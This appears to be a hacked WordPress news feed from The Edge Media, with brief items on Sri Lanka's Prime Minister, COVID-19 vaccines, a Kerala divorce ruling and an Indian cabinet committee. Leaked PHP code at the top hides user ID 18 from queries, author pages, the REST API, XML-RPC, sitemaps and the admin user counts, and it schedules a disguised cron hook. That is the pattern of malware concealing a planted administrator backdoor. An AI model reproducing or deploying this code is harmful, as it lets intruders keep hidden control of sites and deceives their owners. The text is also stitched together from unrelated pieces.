add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Sri Lanka’s new Prime Minister takes charge and expresses gratitude to Prime Minister Modi appeared first on The Edge Media.
]]>
On Thursday, Ranil Wickremesinghe, 73, was sworn in as Sri Lanka’s 26th Prime Minister, to stabilize the country’s debt-ridden economy and put an end to political turbulence. Prime Minister Wickremesinghe expressed his desire for a closer partnership with India and expressed gratitude to Prime Minister Narendra Modi.
The post Sri Lanka’s new Prime Minister takes charge and expresses gratitude to Prime Minister Modi appeared first on The Edge Media.
]]>The post Moderna’s Shot Creates Twice As Many Antibodies As Pfizer, Study Shows appeared first on The Edge Media.
]]>A study of almost 2,500 workers at a major Belgium hospital system found antibody levels among individuals who hadn’t been infected with the coronavirus before getting two doses of the Moderna vaccine averaged 2,881 units per milliliter, compared with 1,108 units/mL in an equivalent group who got two jabs of the Pfizer shot.
The results, published Monday in a letter to the Journal of the American Medical Association, suggested the differences might be explained by the:
– higher amount of active ingredient in the Moderna vaccine — 100 micrograms, versus 30 micrograms in Pfizer-BioNTech
The post Moderna’s Shot Creates Twice As Many Antibodies As Pfizer, Study Shows appeared first on The Edge Media.
]]>The post New Zealand Reports First Death Linked To Pfizer COVID-19 Vaccine appeared first on The Edge Media.
]]>The information was released by the health ministry following a review by an independent COVID-19 vaccine safety monitoring board of the death of a woman after receiving the vaccine. The ministry’s statement did not give the woman’s age.
The board considered that the woman’s death was due to myocarditis, which is known to be a rare side effect of the Pfizer COVID-19 vaccine, the statement said. Myocarditis is an inflammation of the heart muscle that can limit the organ’s ability to pump blood and can cause changes in heartbeat rhythms.
The post New Zealand Reports First Death Linked To Pfizer COVID-19 Vaccine appeared first on The Edge Media.
]]>The post Vaccinated Getting Covid At Surprisingly High Rate, Scientists Say appeared first on The Edge Media.
]]>The post Vaccinated Getting Covid At Surprisingly High Rate, Scientists Say appeared first on The Edge Media.
]]>The post Kerala High Court recognisies martial rape as ground for divorce. appeared first on The Edge Media.
]]>The Supreme Court had, in 2019, turned down a plea to accept martial rape as a ground for divorce. The high court gave its ruling while hearing an appeal filed by a husband against a divorce granted by a family court in 2014.
“Treating wife’s body as something owing to husband and committing sexual act against her will is nothing but martial rape. Right to respect for his or her physical and mental integrity encompasses bodily integrity ; any disrespect or violation of bodily integrity is a violation of Individual autonomy…,” the high court said.
The post Kerala High Court recognisies martial rape as ground for divorce. appeared first on The Edge Media.
]]>The post New members of the Cabinet committee were appointed on political affairs days after the major reshuffle. appeared first on The Edge Media.
]]>According to the notification issued by the Cabinet Secretariat last night, the Union Ministers Arjun Munda, Virendra Kumar , kiren Rijijiu and Aunrag Thakur have been included in the reshuffled Cabinet Committee on Parliamentary Affairs.
However, there has been no change in the composition of the country’s highest making body on security affairs, the appointment committee of the cabinet.
The post New members of the Cabinet committee were appointed on political affairs days after the major reshuffle. appeared first on The Edge Media.
]]>